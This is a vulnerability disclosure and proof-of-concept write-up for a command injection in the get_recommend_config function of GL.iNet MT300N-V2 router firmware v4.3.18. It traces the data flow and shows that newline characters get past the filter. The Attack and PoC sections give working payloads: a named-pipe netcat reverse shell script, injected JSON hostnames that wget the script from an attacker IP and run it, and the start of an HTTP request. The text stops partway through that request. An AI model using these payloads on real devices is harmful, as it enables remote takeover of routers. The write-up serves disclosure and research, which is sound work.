

GL.iNet MT300N-V2 ovpn-client.so get_recommend_config function command injection vulnerability

Product Information

1	Brand: GL.iNet
2	Model: MT300N-V2
3	Firmware Version: v4.3.18
4	Official website: https://www.gl-inet.com/
5	Firmware Download URL: https://dl.gl-inet.cn/release/router/release/mt300n-v2/4.3.18

GL-MT300N-V2 Mango

STABLEBETACLEANTOR

Stable 固件下载			
稳定版本是固件的稳定版本。要安装固件请参阅 普通升级的固件教程 （有关 U-Boot 的说明，请参阅 本教程 ）			
发布	日期	版本发行说明	文件
4.3.25	2025-03-18		下载用于普通升级及 U-BOOT 的固件 SHA256
4.3.18	2024-08-23		下载用于普通升级及 U-BOOT 的固件 SHA256
4.3.17	2024-06-27		下载用于普通升级及 U-BOOT 的固件 SHA256
4.3.11	2024-03-26		下载用于普通升级及 U-BOOT 的固件 SHA256
4.3.10	2024-02-06		下载用于普通升级及 U-BOOT 的固件 SHA256
4.3.7	2023-09-13		下载用于普通升级及 U-BOOT 的固件 SHA256
3.216	2023-03-21		下载用于普通升级及 U-BOOT 的固件 SHA256
3.215	2022-10-13		下载用于普通升级及 U-BOOT 的固件 SHA256
3.105	2020-12-07		下载用于普通升级及 U-BOOT 的固件 SHA256

Affected Component

1	get_recommend_config function in \usr\lib\oui-httpd\rpc\ovpn-client.so
---	--

Suggested description of the vulnerability

1	GL.iNet MT300N-V2 v4.3.18 ovpn-client.so get_recommend_config function command injection vulnerability.
---	---

Vulnerability Details

Nginx's startup configuration file `gl.conf` defines the processing scripts for each URI path, which can be traced to `oui-rpc.lua`.

From the code, `/usr/share/gl-ngx/oui-rpc.lua` handles `HTTP POST` requests for `JSON-RPC` calls.

```
1  index gl_home.html;
2
3  lua_shared_dict shmem 12k;
4  lua_shared_dict nonces 16k;
5  lua_shared_dict sessions 16k;
6  lua_code_cache off;
7
8  init_by_lua_file /usr/share/gl-ngx/oui-init.lua;
9
10 server {
11     listen 80;
12     listen [::]:80;
13
14     listen 443 ssl;
15     listen [::]:443 ssl;
16
17     ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
18     ssl_prefer_server_ciphers on;
19     ssl_ciphers "EECDH+ECDSA+AESGCM:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA384:EECDH+E
20     ssl_session_tickets off;
21
22     ssl_certificate /etc/nginx/nginx.cer;
23     ssl_certificate_key /etc/nginx/nginx.key;
24
25     resolver 127.0.0.1;
26
27     rewrite ^/index.html / permanent;
28
29     location = /rpc {
30         content_by_lua_file /usr/share/gl-ngx/oui-rpc.lua;
31     }
32
33     location = /upload {
34         content_by_lua_file /usr/share/gl-ngx/oui-upload.lua;
35     }
36
37     location = /download {
38         content_by_lua_file /usr/share/gl-ngx/oui-download.lua;
39     }
40
41     location /cgi-bin/ {
42         include fastcgi_params;
43         fastcgi_read_timeout 300;
44         fastcgi_pass unix:/var/run/fcgiwrap.socket;
45     }
46 }
```

`/usr/share/gl-ngx/oui-rpc.lua` defines multiple handler functions, each corresponding to different `rpc` methods.

```
154 methods[json_data.method](json_data.id, json_data.params or {})
```

```
115 local methods= {  
116     ["challenge"] = rpc_method_challenge,  
117     ["login"] = rpc_method_login,  
118     ["logout"] = rpc_method_logout,  
119     ["alive"] = rpc_method_alive,  
120     ["call"] = rpc_method_call  
121 }
```

Calls the `rpc_method_call` function, which in turn executes the `rpc.call` function call.

```
71 local function rpc_method_call(id, params)  
72     if #params < 3 then  
73         local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)  
74         ngx.say(cjson.encode(resp))  
75         return  
76     end  
77  
78     local sid, object, method, args = params[1], params[2], params[3], params[4]  
79  
80     if type(sid) ~= "string" or type(object) ~= "string" or type(method) ~= "string" then  
81         local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)  
82         ngx.say(cjson.encode(resp))  
83         return  
84     end  
85  
86     if args and type(args) ~= "table" then  
87         local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)  
88         ngx.say(cjson.encode(resp))  
89         return  
90     end  
91  
92     ngx.ctx.sid = sid  
93  
94     if not rpc.is_no_auth(object, method) then  
95         if not rpc.access("rpc", object .. "." .. method) then  
96             local resp = rpc.error_response(id, rpc.ERROR_CODE_ACCESS)  
97             ngx.say(cjson.encode(resp))  
98             return  
99         end  
100     end  
101  
102     local res = rpc.call(object, method, args)  
103     if type(res) == "number" then
```

Calls `/cgi-bin/glc`

```
125  
126 local function glc_call(object, method, args)  
127     ngx.log(ngx.DEBUG, "call C: '", object, ".", method, "'")  
128  
129     local res = ngx.location.capture("/cgi-bin/glc", {  
130         method = ngx.HTTP_POST,  
131         body = cjson.encode({  
132             object = object,  
133             method = method,  
134             args = args or {}  
135         })  
136     })  
137
```

In `glc`, the corresponding handler library functions are loaded, located in the `/usr/lib/oui-httpd/rpc` folder

The binary `ovpn-client.so`'s `get_recommend_config` contains a command injection vulnerability.

Because the symbol table was stripped during compilation, function names are lost when decompiling directly with IDA, which impacts reverse engineering. It requires clicking through each data segment to view the specific string corresponding to each value.

```

67 v68 = *(_DWORD *)off_25224;

```

To facilitate reverse engineering analysis, we developed an optimized disassembly module. The optimized code is as follows:

ovpn-client >  ovpn-client.get_recommend_config

```

5 {
82     v45 = guci_init();
83     v3 = json_object_get(a1, "group_id");
84     v40 = ((int (__fastcall *)(int))json_integer_value)(v3);
85     v4 = json_object_get(a1, "proto");
86     v32 = ((int (__fastcall *)(int))json_integer_value)(v4);
87     if ( !json_object_get(a1, "servers") )
88         goto LABEL_12;
89     v47 = json_object_get(a1, "servers");
90     v46 = ((int (__fastcall *)(int))json_array_size)(v47);
91     memset(v52, 0, sizeof(v52));

34     }
35     for ( i = (const char *)((int (__fastcall *)(char *))getShellCommandReturnDynamic)("ls /tmp/curl_uid |wc -w");
36           ((int (__fastcall *)(const char *))atoi)(i) >= 20;
37           i = (const char *)((int (__fastcall *)(char *))getShellCommandReturnDynamic)("ls /tmp/curl_uid |wc -w") )
38     {
39         ((void (__fastcall *)(unsigned int))sleep)(i);
40     }
41     ((void (__fastcall *)(char *))fork_exec)(v11);
42     if ( v13 != *(_DWORD *)0x25404 )
43         ((void (__fastcall *)(__noreturn *)(int, int, unsigned int, int))__stack_chk_fail)(v2, v3, 0x20000u, v4);
44     return 0;

```

```

1  source is the user-controllable JSON parameter servers[].hostname[] string.
2
3  v47 = json_object_get(a1, "servers");
4  i = json_array_get(v47, v36);
5  nptr = json_object_get(i, "hostname");
6
7  v19 = json_array_get(nptr, j);
8  sb = json_string_value(v19);
9

```

10 That is, the fields in the request JSON:

```
11
12 {
13     "group_id": 12345,
14     "proto": 1,
15     "servers": [
16         {
17             "hostname": ["user-controllable string"]
18         }
19     ]
20 }
```

21
22 Each element in the "hostname" array is concatenated into a .tcp or .udp configuration name and then passed to download_recommend_config().

23
24 sink is fork_exec(v11).

```
25
26 sprintf(v67, "%s.tcp", sb);
27 sprintf(v69, "%s.udp", sb);
```

```
28
29 download_recommend_config(v67);
30 download_recommend_config(v69);
```

31
32 After entering download_recommend_config(a1):

```
33
34 sprintf(v7, "/tmp/ovpn_download/%s.ovpn", a1);
35 sprintf(v9, "/tmp/curl_uuid/%s.ovpn", a1);
36
37 sprintf(v11,
38     "touch %s; curl -LsS --connect-timeout 35 -m 20
https://downloads.nordcdn.com/configs/files/ovpn_tcp/servers/%s.ovpn > %s;
rm -f %s");
39
40 fork_exec(v11);
41
```

42 The user-controllable hostname ultimately affects shell command parameters such as touch, curl, redirect paths, and rm -f. If the hostname contains shell command separators such as newlines, it can break the original command structure, causing command injection.

43
44 The complete data flow is as follows:

```
45
46 get_recommend_config(a1, a2)
47     └─ json_object_get(a1, "servers")
48         └─ json_array_get(servers, i)
49             └─ json_object_get(server, "hostname")
50                 └─ json_array_get(hostname, j)
51                     └─ json_string_value(...)
52                         └─ sb = user_input
53                             └─
54 str_check_shell_injecting(sb)
55                                     └─ sprintf(v67,
"%s.tcp", sb)
56                                     └─
download_recommend_config(v67)
56                                     └─
sprintf(v7, "/tmp/ovpn_download/%s.ovpn", a1)
```

```

57     sprintf(v9, "/tmp/curl_uuid/%s.ovpn", a1)
58
59     sprintf(v11, "touch ... curl ... %s.ovpn ...")
60
61     fork_exec(v11)
62
63 The check functions during this process are as follows:
64
65 json_object_get(a1, "group_id")
66 json_object_get(a1, "proto")
67 json_object_get(a1, "servers")
68
69 These checks only determine whether the required parameters exist and cannot
70 filter malicious characters in the hostname.
71
72 str_check_shell_injecting(sb)
73
74 This is the main security check function, used to detect whether the
75 hostname contains shell injection risks.
76 This is an externally imported function. Through actual testing, it was
77 found to have high security, filtering most special strings used for command
78 injection such as: ;&&||`$()
79 However, it misses one special character: \n (newline)
80 However, when constructing reverse shell commands later, special characters
81 such as ;&&||`$() are inevitably needed. Therefore, we adopt a file upload
82 approach, uploading a generic reverse shell script to the target router and
83 then executing it, thereby obtaining a low-level shell.

```

Attack

Obtain a shell by directly injecting commands.

```

1 First, create a shell script:
2 reverse.sh:
3     rm -f /tmp/p; mkfifo${IFS}/tmp/p; (cat${IFS}/tmp/p|/bin/sh${IFS}-i)
4     2>&1|nc${IFS}192.168.31.166${IFS}6689>/tmp/p
5
6 Then upload reverse.sh
7     "group_id": 12345,
8     "proto": 1,
9     "servers": [{"hostname": ["\n wget
10 http://192.168.31.166:8876/reverse.sh \n"]}
11
12 Finally execute reverse.sh:
13     "group_id": 12345,
14     "proto": 1,
15     "servers": [{"hostname": ["\n sh reverse.sh \n"]}

```

The screenshot for obtaining the shell is as follows:

The video for obtaining the shell is as follows:

GL.iNet_MT300N-V2_ovpn-client_get_recommend_config.mp4

PoC

This is a post-authentication command injection vulnerability. When verifying, update the value of the first element in the params list. The value corresponding to this PoC is zj0vYudgRO3QYKldObWG2deRlfa5X4Uu.

Two requests need to be sent: one to upload the shell script, and one to execute the shell script

Upload:

```
1 POST /rpc HTTP/1.1
2 Host: 192.168.31.7
3 Content-Length: 229
4
5 Accept: application/json, text/plain, */*
6
7 Accept-Language: en-US
8
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64) AppleWebKit/537.36
